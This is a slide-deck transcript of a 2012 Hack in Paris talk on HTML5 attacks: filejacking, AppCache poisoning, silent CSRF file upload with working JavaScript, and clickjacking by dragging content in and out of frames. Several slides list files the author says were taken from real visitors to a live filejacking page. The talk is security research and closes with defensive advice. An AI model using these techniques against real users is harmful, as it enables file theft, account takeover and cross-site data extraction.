Html5: Something wicked this way comes (Hack in Paris)

47
Krzysztof Kotowicz, SecuRing [email protected] @kkotowicz HTML5

description

The talk given in Hack In Paris 2012 conference

Transcript of Html5: Something wicked this way comes (Hack in Paris)

Page 1: Html5: Something wicked this way comes (Hack in Paris)

Krzysztof Kotowicz, SecuRing

[email protected]@kkotowicz

HTML5

Page 2: Html5: Something wicked this way comes (Hack in Paris)

Meet Bob

2

Page 3: Html5: Something wicked this way comes (Hack in Paris)

Meet Bob

#1 Bob is a CSO of largebiz.com

#1b Bob has interesting stuff

#2 I don’t like Bob

#3 I want to pwn Bob

3

Page 4: Html5: Something wicked this way comes (Hack in Paris)

Bob’s pwnage stage #1

• Bob has a hobby - e.g. hacking

• He has cool file://s

• I want to get them!

• He’s not THAT stupid to run EXE, SCR etc.

• Use filejacking!

4

Page 5: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

• HTML5 directory upload (Chrome only)

• displays this ====>

• JS gets read access toall files withinchosen folder

5

<input type=file directory>

Page 6: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

Business plan

• set up tempting webpage

• overlay input (CSS) with

• wait for Bob

• get files & upload them to your server

6

Page 7: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

7

Page 8: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

8

Page 9: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

• I’ve tried this IRL

• How clueless users actually are?• http://kotowicz.net/wu running for ~13 mo

• very limited exposure

• only websec oriented visitors

• 298 clients connected (217 IPs)

• tons of interesting files

9

Page 10: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

LOTS of these ------>

• Downloads/# BeNaughtyLive.com/

• Downloads/# GoLiveTrannies.com/

• BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb

• bitches/1300563524557.jpg

• Flowchart-Fap-To-It.jpg

10

Page 11: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

11

• websec staff!

• but surely no private data?

Page 12: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

• Wireless Assess points.txt• interesting network next to me.txt• onlinePasswords.txt• s/pw.txt• letter of authorization.pdf• Staff-<name,surname>.pdf• <name,surname> - resume.doc• Pricing-Recommendation_CR.xlsm.zip

12

• but surely no clients data?

Page 13: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

• sony reports/0045_sonymusic.##.zip

• SecurityQA.SQL.Injection.Results.v1.1.docx

• SSOCrawlTest5.4.097.xml

• IPS CDE Wireless Audit-January 2011-1 0.docx

• IPS Wireless Testing Schedule April 2011.xls

• 01-####### Corporation (Security Unarmed Guard).xls

• Faktura_numer_26_2011_<company>.pdf

• websec cred~

• security_users.sql.zip

• !important - questions for web developers.docx

• sslstrip.log~

• ##### Paros Log.txt

So much for NDAs...

13

Page 14: Html5: Something wicked this way comes (Hack in Paris)

Filejacking

+ All your file are belong to me

+ Trivial to set up

+ Filter files by e.g. extension, size etc.

- Chrome only

- Requires users prone to social-engineering

14

Page 15: Html5: Something wicked this way comes (Hack in Paris)

Bob’s pwnage stage #2

• Bob travels a lot & loves Facebook

• I want to control Bob’s FB account• even when he changes the password in a month

• I want to fingerprint Bob’s intranet

• Use rogue access point & AppCache poisoning!

15

Page 16: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

HTML5 Offline Web Applications

<html manifest=cache.manifest>

• cache.manifest lists URLs to cache

• cache expires only whenmanifest is changed

16

CACHE MANIFESTindex.htmlstylesheet.cssimages/logo.pngscripts/main.js

Page 17: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

17

PoisonAppCache

Waitfor Bob

Profit

Page 18: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

• DEMO

• Quirks used:• manifest must be MIME text/cache-manifest

• Chrome fills AppCache without user confirmation

18

Page 19: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

• tamper http://victim/

• tamper http://victim/robots.txt

19

<html manifest=/robots.txt><script>evil()</script>

CACHE MANIFESTCACHE:http://victim/NETWORK:*

Page 20: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

Later on, after m-i-t-m:

1. http://victim/ fetched from AppCache

2. browser checks for new manifestGET /robots.txt

3. receives text/plain robots.txt & ignores it

4. tainted AppCache is still used

20

Page 21: Html5: Something wicked this way comes (Hack in Paris)

AppCache poisoning

+ Poison any URL

+ Payload stays until manually removed

- Chrome or Firefox with user interaction

- Needs active man-in-the-middle to inject

21

https://github.com/koto/sslstrip

Page 22: Html5: Something wicked this way comes (Hack in Paris)

Bob’s pwnage stage #3

• Bob loves sharing photos (Flickr?)

• I want to replace Bob as CSO

• What if Bob uploaded some discrediting files?

• Try silent file upload

22

Page 23: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

• File upload purely in Javascript

• Emulates <input type=file> with:• any file name

• any file content

• File constructed in Javascript(it’s not a real file!)

• Uses Cross Origin Resource Sharing

23

Page 24: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

• Cross Origin Resource Sharing= cross domain AJAX

24

http://attacker.com/

var xhr = new XMLHttpRequest();    xhr.open("POST", "http://victim", true);xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // send cookiesxhr.send("Anything I want");

Page 25: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

function fileUpload(url, fileData, fileName) {   var boundary = "xxxxxxxxx",     xhr = new XMLHttpRequest();       xhr.open("POST", url, true);   xhr.withCredentials = "true";   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);

25

• raw multipart/form-data request

Page 26: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

var b = "\--" + boundary + '\r\n\Content-Disposition: form-data;\ name="contents"; filename="' + fileName + '"\r\n\Content-Type: application/octet-stream\r\n\\r\n\' + fileData + '\r\n\--' + boundary + '--';

xhr.setRequestHeader("Content-Length", b.length);xhr.send(b);

26

Page 27: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

+No user interaction

+Works in most browsers

+ You can add more form fields

- CSRF flaw needed

- No access to response

27

Page 28: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

DEMO

Flickr.com

28

Page 29: Html5: Something wicked this way comes (Hack in Paris)

Silent file upload

• GlassFish Enterprise Server 3.1.• CVE 2012-0550 by Roberto Suggi Liverani

• //goo.gl/cOu1FlogUrl = 'http://glassfishserver/management/domain/applications/application';

fileUpload(c,"maliciousarchive.war");

• logged admin + CSRF = RCE

29

Page 30: Html5: Something wicked this way comes (Hack in Paris)

Same origin policy

• makes web (relatively) safe• restricts cross-origin communication

• can be relaxed though• crossdomain.xml

• document.domain

• HTML5 Cross Origin Resource Sharing

• or ignored...• UI redressing

30

Page 31: Html5: Something wicked this way comes (Hack in Paris)

UI Redressing?

Jedi mind tricks on victim users

31

Page 32: Html5: Something wicked this way comes (Hack in Paris)

UI Redressing

• This is not the page you’re looking at

• This is not the thing you’re clicking

• .................................................. dragging

• .................................................. typing

• .................................................. copying

• Victims attack the applications for us

32

Page 33: Html5: Something wicked this way comes (Hack in Paris)

Clickjacking?

33

Page 34: Html5: Something wicked this way comes (Hack in Paris)

Bob’s pwnage stage #4

• Bob likes online games

• I found a vulnerable website used by Bob

• Bob would have to type the payload himself :-(

• Make Bob play a game!

34

Page 35: Html5: Something wicked this way comes (Hack in Paris)

Drag into

• Put attackers content into victim form

Demo

35

Page 36: Html5: Something wicked this way comes (Hack in Paris)

Drag into

+ Inject arbitrary content

+ Trigger self-XSS

- Firefox only (will die soon!)

- X-Frame-Options

36

Page 37: Html5: Something wicked this way comes (Hack in Paris)

Bob’s pwnage stage #5

• Bob has access to internal HR application

• I want to know his salary

• Make Bob play a game(again)!

37

Page 38: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

image

image

38

Page 39: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

image

imagevictim<iframe>

39

Page 40: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

textarea

imagevictim<iframe>

<textarea>

40

Page 41: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

<div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />  <img style="position:absolute;..." src="trash.png" />      <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>   <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div>

41

Page 42: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

42

Page 43: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

43

Page 44: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

Demo .

44

Page 45: Html5: Something wicked this way comes (Hack in Paris)

Drag out content extraction

+ Access sensitive content cross domain

- Firefox only (will die soon!)

- X-Frame-Options

45

Page 46: Html5: Something wicked this way comes (Hack in Paris)

Summary

• HTML5 is attacker’s friend too!

• Don’t get framed

• Users based pwnage FTW

Developers:

Use X-Frame-Options: DENY

46

Page 47: Html5: Something wicked this way comes (Hack in Paris)

Wake up, I’m done!

• html5sec.org• code.google.com/p/html5security

• www.contextis.co.uk/research/white-papers/clickjacking

• blog.kotowicz.net

• github.com/koto

Twitter: @kkotowicz

[email protected]

Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, ....

47